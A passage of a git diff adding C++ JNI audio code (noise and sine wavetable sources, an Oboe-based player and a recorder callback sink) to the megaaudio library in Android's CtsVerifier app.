+    static const int ENCODING_PCM24 = 3;
+    static const int ENCODING_PCM32 = 4;
+    virtual int getEncoding() { return ENCODING_UNSPECIFIED; };
+
+    /**
+     * Called before the stream starts to allow initialization of the source
+     * @param numFrames The number of frames that will be requested in each pull() call.
+     * @param numChans The number of channels in the stream.
+     */
+    virtual void init(int numFrames, int numChans) {}
+
+    /**
+     * Reset the stream to its beginning
+     */
+    virtual void reset() {}
+
+    /**
+     * Process a request for audio data.
+     * @param audioData The buffer to be filled.
+     * @param numFrames The number of frames of audio to provide.
+     * @param numChans The number of channels (in the buffer) required by the player.
+     * @return The number of frames actually generated. If this value is less than that
+     * requested, it may be interpreted by the player as the end of playback.
+     * Note that the player will be blocked by this call.
+     * Note that the data is assumed to be *interleaved*.
+     */
+    virtual int pull(float* buffer, int numFrames, int numChans) = 0;
+};
+
+#endif // MEGA_PLAYER_AUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp
new file mode 100644
index 0000000..1fdf2aa
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include "AudioSource.h"
+
+//TODO - Probably wrap the JNI handling in a class with a pointer held in the Java Object
+// so as to support multiple instances... maybe.
+
+// JNI Stuff
+static float* sAudioBuffer;
+
+extern "C" {
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_initN(
+        JNIEnv *env, jobject thiz, jlong native_source_ptr, jint num_frames, jint num_chans) {
+    sAudioBuffer = new float[num_frames * num_chans];
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_resetN(
+        JNIEnv *env, jobject thiz, jlong native_source_ptr) {
+    // TODO: implement reset()
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_pullN(
+        JNIEnv *env, jobject thiz, jlong native_source_ptr,
+        jfloatArray audio_data, jint num_frames, jint num_chans) {
+    AudioSource* audioSource = (AudioSource*)native_source_ptr;
+    int numFrames = audioSource->pull(sAudioBuffer, num_frames, num_chans);
+
+    // Convert to Java float[]
+    env->SetFloatArrayRegion(audio_data, 0, numFrames * num_chans, sAudioBuffer);
+
+    return numFrames;
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp
new file mode 100644
index 0000000..6f6cad5
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <cstdlib>
+#include <ctime>
+
+#include "NoiseAudioSource.h"
+
+NoiseAudioSource::NoiseAudioSource() {
+    srand (static_cast <unsigned> (time(0)));
+}
+
+int NoiseAudioSource::pull(float* buffer, int numFrames, int numChans) {
+    int numSamples = numFrames * numChans;
+    for(int index = 0; index < numSamples; index++) {
+        buffer[index] = (float)((drand48() * 2.0) - 1.0);
+    }
+
+    return numFrames;
+}
+
+//
+// JNI
+//
+#include <jni.h>
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_com_android_smoke_megaplayer_sources_NoiseAudioSourceProvider_native_1getNativeSource(
+        JNIEnv *env, jobject thiz) {
+    return (jlong)new NoiseAudioSource;
+}
+
+}   // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h
new file mode 100644
index 0000000..8bdb243
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_NOISEAUDIOSOURCE_H
+#define MEGA_PLAYER_NOISEAUDIOSOURCE_H
+
+#include "AudioSource.h"
+
+class NoiseAudioSource: public AudioSource {
+public:
+    NoiseAudioSource();
+
+    /**
+     * Fills the specified buffer with random noise.
+     * @return  The number of frames generated. Since we are generating a continuous periodic
+     * signal, this will always be <code>numFrames</code>.
+     */
+    virtual int pull(float* buffer, int numFrames, int numChans) override;
+
+};
+
+
+#endif // MEGA_PLAYER_NOISEAUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp
new file mode 100644
index 0000000..135f385
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp
@@ -0,0 +1,182 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "OboePlayer.h"
+#include "WaveTableSource.h"
+
+#include "AudioSource.h"
+
+static const char * const TAG = "OboePlayer(native)";
+
+using namespace oboe;
+
+constexpr int32_t kBufferSizeInBursts = 2; // Use 2 bursts as the buffer size (double buffer)
+
+OboePlayer::OboePlayer(AudioSource* source, int subtype)
+ : Player(source, subtype)
+{}
+
+DataCallbackResult OboePlayer::onAudioReady(AudioStream *oboeStream, void *audioData,
+                                            int32_t numFrames) {
+    StreamState streamState = oboeStream->getState();
+    if (streamState != StreamState::Open && streamState != StreamState::Started) {
+        __android_log_print(ANDROID_LOG_ERROR, TAG, "  streamState:%d", streamState);
+    }
+    if (streamState == StreamState::Disconnected) {
+        __android_log_print(ANDROID_LOG_ERROR, TAG, "  streamState::Disconnected");
+    }
+
+    // memset(audioData, 0, numFrames * mChannelCount * sizeof(float));
+
+    // Pull the data here!
+    int numFramesRead = mAudioSource->pull((float*)audioData, numFrames, mChannelCount);
+    // may need to handle 0-filling if numFramesRead < numFrames
+
+    return numFramesRead != 0 ? DataCallbackResult::Continue : DataCallbackResult::Stop;
+}
+
+void OboePlayer::onErrorAfterClose(AudioStream *oboeStream, oboe::Result error) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "==== onErrorAfterClose() error:%d", error);
+
+    startStream();
+}
+
+void OboePlayer::onErrorBeforeClose(AudioStream *, oboe::Result error) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "==== onErrorBeforeClose() error:%d", error);
+}
+
+StreamBase::Result OboePlayer::setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "setupStream()");
+
+    oboe::Result result = oboe::Result::ErrorInternal;
+    if (mAudioStream != nullptr) {
+        return ERROR_INVALID_STATE;
+    } else {
+        std::lock_guard<std::mutex> lock(mStreamLock);
+
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        mRouteDeviceId = routeDeviceId;
+
+        // Create an audio stream
+        AudioStreamBuilder builder;
+        builder.setChannelCount(mChannelCount);
+        builder.setSampleRate(mSampleRate);
+        builder.setCallback(this);
+        builder.setPerformanceMode(PerformanceMode::LowLatency);
+        builder.setSharingMode(SharingMode::Exclusive);
+        builder.setSampleRateConversionQuality(SampleRateConversionQuality::None);
+        builder.setDirection(Direction::Output);
+        switch (mSubtype) {
+        case SUB_TYPE_OBOE_AAUDIO:
+            builder.setAudioApi(AudioApi::AAudio);
+            break;
+
+        case SUB_TYPE_OBOE_OPENSL_ES:
+            builder.setAudioApi(AudioApi::OpenSLES);
+            break;
+
+        default:
+           return ERROR_INVALID_STATE;
+        }
+
+        if (mRouteDeviceId != ROUTING_DEVICE_NONE) {
+            builder.setDeviceId(mRouteDeviceId);
+        }
+
+        mAudioSource->init(getNumBufferFrames() , mChannelCount);
+
+        result = builder.openStream(mAudioStream);
+        if (result != oboe::Result::OK){
+            __android_log_print(
+                    ANDROID_LOG_ERROR,
+                    TAG,
+                    "openStream failed. Error: %s", convertToText(result));
+        } else {
+            // Reduce stream latency by setting the buffer size to a multiple of the burst size
+            // Note: this will fail with ErrorUnimplemented if we are using a callback with OpenSL ES
+            // See oboe::AudioStreamBuffered::setBufferSizeInFrames
+            // This doesn't affect the success of opening the stream.
+            int32_t desiredSize = mAudioStream->getFramesPerBurst() * kBufferSizeInBursts;
+            mAudioStream->setBufferSizeInFrames(desiredSize);
+        }
+    }
+
+    return OboeErrorToMegaAudioError(result);
+}
+
+//
+// JNI functions
+//
+#include <jni.h>
+
+#include <android/log.h>
+
+extern "C" {
+JNIEXPORT JNICALL jlong
+Java_org_hyphonate_megaaudio_player_OboePlayer_allocNativePlayer(
+    JNIEnv *env, jobject thiz, jlong native_audio_source, jint playerSubtype) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "teardownStream()");
+
+    return (jlong)new OboePlayer((AudioSource*)native_audio_source, playerSubtype);
+}
+
+JNIEXPORT jint JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_setupStreamN(
+        JNIEnv *env, jobject thiz, jlong native_player,
+        jint channel_count, jint sample_rate, jint routeDeviceId) {
+    __android_log_print(ANDROID_LOG_INFO, TAG,
+        "Java_org_hyphonate_megaaudio_playerOboePlayer_startStreamN()");
+
+    OboePlayer* player = (OboePlayer*)native_player;
+    return player->setupStream(channel_count, sample_rate, routeDeviceId);
+}
+
+JNIEXPORT int JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_teardownStreamN(
+        JNIEnv *env, jobject thiz, jlong native_player) {
+    __android_log_print(ANDROID_LOG_INFO, TAG,
+        "Java_org_hyphonate_megaaudio_player_OboePlayer_teardownStreamN()");
+
+    OboePlayer* player = (OboePlayer*)native_player;
+    return player->teardownStream();
+}
+
+JNIEXPORT JNICALL jint Java_org_hyphonate_megaaudio_player_OboePlayer_startStreamN(
+        JNIEnv *env, jobject thiz, jlong native_player, jint playerSubtype) {
+    __android_log_print(ANDROID_LOG_INFO, TAG,
+        "Java_org_hyphonate_megaaudio_playerOboePlayer_startStreamN()");
+
+    return ((OboePlayer*)(native_player))->startStream();
+}
+
+JNIEXPORT JNICALL jint
+Java_org_hyphonate_megaaudio_player_OboePlayer_stopN(JNIEnv *env, jobject thiz, jlong native_player) {
+     __android_log_print(ANDROID_LOG_INFO, TAG,
+         "Java_org_hyphonate_megaaudio_player_OboePlayer_stopN()");
+
+   return ((OboePlayer*)(native_player))->stopStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_player_OboePlayer_getBufferFrameCountN(JNIEnv *env, jobject thiz,  jlong native_player) {
+    return ((OboePlayer*)(native_player))->getNumBufferFrames();
+}
+
+JNIEXPORT jint JNICALL Java_org_hyphonate_megaaudio_player_OboePlayer_getRoutedDeviceIdN(JNIEnv *env, jobject thiz, jlong native_player) {
+    return ((OboePlayer*)(native_player))->getRoutedDeviceId();
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h
new file mode 100644
index 0000000..e1bb598
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.h
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_OBOEPLAYER_H
+#define MEGA_PLAYER_OBOEPLAYER_H
+
+#include <oboe/Oboe.h>
+
+#include "Player.h"
+
+class OboePlayer : public Player, oboe::AudioStreamCallback {
+public:
+    OboePlayer(AudioSource* source, int playerSubtype);
+    virtual ~OboePlayer() {}
+
+    // Inherited from oboe::AudioStreamCallback
+    virtual oboe::DataCallbackResult onAudioReady(oboe::AudioStream *oboeStream, void *audioData,
+                                                    int32_t numFrames) override;
+    virtual void onErrorAfterClose(oboe::AudioStream *oboeStream, oboe::Result error) override;
+    virtual void onErrorBeforeClose(oboe::AudioStream * oboeStream, oboe::Result error) override;
+
+    virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) override;
+};
+
+#endif // MEGA_PLAYER_OBOEPLAYER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/Player.h b/apps/CtsVerifier/jni/megaaudio/player/Player.h
new file mode 100644
index 0000000..be9ded3
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/Player.h
@@ -0,0 +1,33 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_PLAYER_H
+#define MEGA_PLAYER_PLAYER_H
+
+#include <OboeStream.h>
+
+class AudioSource;
+
+class Player: public OboeStream {
+public:
+    Player(AudioSource* source, int32_t subtype) : OboeStream(subtype), mAudioSource(source) {}
+    virtual ~Player() {}
+
+protected:
+    std::shared_ptr<AudioSource>    mAudioSource;
+};
+
+#endif // MEGA_PLAYER_PLAYER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp
new file mode 100644
index 0000000..97bf4df
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.cpp
@@ -0,0 +1,39 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "SinAudioSource.h"
+
+SinAudioSource::SinAudioSource() : WaveTableSource() {
+    float* waveTbl = new float[DEFAULT_WAVETABLE_LENGTH];
+    WaveTableSource::genSinWave(waveTbl, DEFAULT_WAVETABLE_LENGTH);
+
+    WaveTableSource::setWaveTable(waveTbl, DEFAULT_WAVETABLE_LENGTH);
+}
+
+//
+// JNI functions
+//
+#include <jni.h>
+
+#include <android/log.h>
+
+extern "C" {
+JNIEXPORT JNICALL jlong Java_org_hyphonate_megaaudio_player_sources_SinAudioSourceProvider_allocNativeSource(
+        JNIEnv *env, jobject thiz) {
+    return (jlong)new SinAudioSource();
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h
new file mode 100644
index 0000000..f4dc410
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/SinAudioSource.h
@@ -0,0 +1,28 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_SINAUDIOSOURCE_H
+#define MEGA_PLAYER_SINAUDIOSOURCE_H
+
+#include "WaveTableSource.h"
+
+class SinAudioSource: public WaveTableSource {
+public:
+    SinAudioSource();
+};
+
+
+#endif // MEGA_PLAYER_SINAUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp
new file mode 100644
index 0000000..30c38a4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.cpp
@@ -0,0 +1,89 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <math.h>
+
+#include "WaveTableSource.h"
+
+/**
+ * Constructor. Sets up to play samples from the provided wave table.
+ * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+ */
+WaveTableSource::WaveTableSource() {
+    reset();
+}
+
+/**
+ * Calculates the "Nominal" frequency of the wave table.
+ */
+void WaveTableSource::calcFN() {
+    mFN = mSampleRate / (float)mNumWaveTableSamples;
+    mFNInverse = 1.0f / mFN;
+}
+
+int WaveTableSource::getNumChannels() {
+    return NUMCHANNELS_UNSPECIFIED;
+}
+
+int WaveTableSource::getEncoding() {
+    return ENCODING_FLOAT;
+}
+
+/**
+ * Fills the specified buffer with values generated from the wave table which will playback
+ * at the specified frequency.
+ *
+ * @param buffer The buffer to be filled.
+ * @param numFrames The number of frames of audio to provide.
+ * @param numChans The number of channels (in the buffer) required by the player.
+ * @return  The number of samples generated. Since we are generating a continuous periodic
+ * signal, this will always be <code>numFrames</code>.
+ */
+int WaveTableSource::pull(float* buffer, int numFrames, int numChans) {
+    float phaseIncr = mFreq * mFNInverse;
+    int outIndex = 0;
+    for (int frameIndex = 0; frameIndex < numFrames; frameIndex++) {
+        // 'mod' back into the waveTable
+        while (mSrcPhase >= (float)mNumWaveTableSamples) {
+            mSrcPhase -= (float)mNumWaveTableSamples;
+        }
+
+        // linear-interpolate
+        int srcIndex = (int)mSrcPhase;
+        float delta = mSrcPhase - (float)srcIndex;
+        float s0 = mWaveTable[srcIndex];
+        float s1 = mWaveTable[srcIndex + 1];
+        float value = s0 + ((s1 - s0) * delta);
+
+        // Put the same value in all channels.
+        for (int chanIndex = 0; chanIndex < numChans; chanIndex++) {
+            buffer[outIndex++] = value;
+        }
+
+        mSrcPhase += phaseIncr;
+    }
+
+    return numFrames;
+}
+
+/*
+ * Standard wavetable generators
+ */
+void WaveTableSource::genSinWave(float* buffer, int length) {
+    float incr = ((float)M_PI  * 2.0f) / (float)(length - 1);
+    for(int index = 0; index < length; index++) {
+        buffer[index] = sinf(index * incr);
+    }
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h
new file mode 100644
index 0000000..9c66e62
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/WaveTableSource.h
@@ -0,0 +1,131 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_WAVETABLESOURCE_H
+#define MEGA_PLAYER_WAVETABLESOURCE_H
+
+#include <memory>
+
+#include "AudioSource.h"
+
+class WaveTableSource: public AudioSource {
+public:
+    /**
+     * Constructor. Sets up to play samples from the provided wave table.
+     * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+     */
+    WaveTableSource();
+
+    /**
+     * Sets up to play samples from the provided wave table.
+     * @param waveTbl Contains the samples defining a single cycle of the desired waveform.
+     *                This wave table contains a redundant sample in the last slot (== first slot)
+     *                to make the interpolation calculation simpler, so the logical length of
+     *                the wave table is one less than the length of the array.
+     * NOTE: WaveTableSource DOES NOT take ownership of the wave table. The user of WaveTableSource
+     * is responsible for managing the lifetime of othe wave table.
+     */
+    void setWaveTable(float* waveTable, int length) {
+        mWaveTable = waveTable;
+        mNumWaveTableSamples = length - 1;
+
+        calcFN();
+    }
+
+    /**
+     * Sets the playback sample rate for which samples will be generated.
+     * @param sampleRate
+     */
+    void setSampleRate(float sampleRate) {
+        mSampleRate = sampleRate;
+        calcFN();
+    }
+
+    /**
+     * Set the frequency of the output signal.
+     * @param freq  Signal frequency in Hz.
+     */
+    void setFreq(float freq) {
+        mFreq = freq;
+    }
+
+    /**
+     * Resets the playback position to the 1st sample.
+     */
+    void reset()  override {
+        mSrcPhase = 0.0f;
+    }
+
+    virtual int getNumChannels() override;
+
+    virtual int getEncoding() override;
+
+    /**
+     * Fills the specified buffer with values generated from the wave table which will playback
+     * at the specified frequency.
+     *
+     * @param buffer The buffer to be filled.
+     * @param numFrames The number of frames of audio to provide.
+     * @param numChans The number of channels (in the buffer) required by the player.
+     * @return  The number of samples generated. Since we are generating a continuous periodic
+     * signal, this will always be <code>numFrames</code>.
+     */
+    virtual int pull(float* buffer, int numFrames, int numChans) override;
+
+    /*
+     * Standard wavetable generators
+     */
+    static void genSinWave(float* buffer, int length);
+
+protected:
+    static const int DEFAULT_WAVETABLE_LENGTH = 2049;
+
+    /**
+     * Calculates the "Nominal" frequency of the wave table.
+     */
+    void calcFN();
+
+    /** The samples defining one cycle of the waveform to play */
+    //TODO - make this a shared_ptr
+    float*  mWaveTable;
+
+    /** The number of samples in the wave table. Note that the wave table is presumed to contain
+     * an "extra" sample (a copy of the 1st sample) in order to simplify the interpolation
+     * calculation. Thus, this value will be 1 less than the length of mWaveTable.
+     */
+    int mNumWaveTableSamples;
+
+    /** The phase (offset within the wave table) of the next output sample.
+     *  Note that this may (will) be a fractional value. Range 0.0 -> mNumWaveTableSamples.
+     */
+    float mSrcPhase;
+
+    /** The sample rate at which playback occurs */
+    float mSampleRate = 48000;  // This seems likely, but can be changed
+
+    /** The frequency of the generated audio signal */
+    float mFreq = 1000;         // Some reasonable default frequency
+
+    /** The "Nominal" frequency of the wavetable. i.e., the frequency that would be generated if
+     * each sample in the wave table was sent in turn to the output at the specified sample rate.
+     */
+    float mFN;
+
+    /** 1 / mFN. Calculated when mFN is set to avoid a division on each call to fill() */
+    float mFNInverse;
+};
+
+#endif // MEGA_PLAYER_WAVETABLESOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp
new file mode 100644
index 0000000..1f80091
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.cpp
@@ -0,0 +1,107 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <jni.h>
+
+#include <android/log.h>
+
+#include "AppCallbackAudioSink.h"
+
+static const char * const TAG = "AppCallbackAudioSink";
+
+AppCallbackAudioSink::AppCallbackAudioSink(JNIEnv *env, jobject callbackObj) {
+    jint rs = env->GetJavaVM(&mJVM);
+    mCallbackObj = env->NewGlobalRef(callbackObj);
+
+    jclass callbackClass = env->GetObjectClass(mCallbackObj);
+    mMIDonDataReady = env->GetMethodID(callbackClass, "onDataReady", "([FI)V");
+}
+
+void AppCallbackAudioSink::init(int numFrames, int numChannels) {
+    JNIEnv * env;
+    int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        int rs = mJVM->AttachCurrentThread(&env, NULL);
+    }
+
+    mAudioDataArrayLength = numChannels * numFrames;
+    mAudioDataArray = env->NewFloatArray(mAudioDataArrayLength);
+    mAudioDataArray = (jfloatArray)env->NewGlobalRef(mAudioDataArray);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        mJVM->DetachCurrentThread();
+    }
+}
+
+void AppCallbackAudioSink::start() {
+}
+
+void AppCallbackAudioSink::stop() {
+    JNIEnv * env;
+    int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        int rs = mJVM->AttachCurrentThread(&env, NULL);
+    }
+
+    releaseJNIResources(env);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        mJVM->DetachCurrentThread();
+    }
+}
+
+void AppCallbackAudioSink::push(float* audioData, int numFrames, int numChannels) {
+//    __android_log_print(ANDROID_LOG_INFO, TAG, "push(numFrames:%d, numChannels:%d)",
+//                        numFrames, numChannels);
+
+    // Get the local JNI env
+    JNIEnv * env;
+    int getEnvStat = mJVM->GetEnv((void **)&env, JNI_VERSION_1_6);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        int rs = mJVM->AttachCurrentThread(&env, NULL);
+    }
+
+    // put the float* into a jfloatarray
+    env->SetFloatArrayRegion(mAudioDataArray, 0, mAudioDataArrayLength, audioData);
+    env->CallVoidMethod(mCallbackObj, mMIDonDataReady, mAudioDataArray, numFrames);
+
+    if (getEnvStat == JNI_EDETACHED) {
+        mJVM->DetachCurrentThread();
+    }
+}
+
+void AppCallbackAudioSink::releaseJNIResources(JNIEnv *env) {
+    env->DeleteGlobalRef(mCallbackObj);
+}
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_org_hyphonate_megaaudio_recorder_sinks_AppCallbackAudioSinkProvider_allocOboeSinkN(
+        JNIEnv *env, jobject thiz, jobject callback_obj) {
+    AppCallbackAudioSink* sink = new AppCallbackAudioSink(env, callback_obj);
+    return (jlong)sink;
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_sinks_AppCallbackAudioSinkProvider_releaseJNIResourcesN(
+        JNIEnv *env, jobject thiz, jlong oboe_sink) {
+    AppCallbackAudioSink* sink = (AppCallbackAudioSink*)oboe_sink;
+    sink->releaseJNIResources(env);
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h
new file mode 100644
index 0000000..fc4dac9
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AppCallbackAudioSink.h
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
+#define SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
+
+#include <jni.h>
+
+#include "AudioSink.h"
+
+class AppCallbackAudioSink: public AudioSink {
+public:
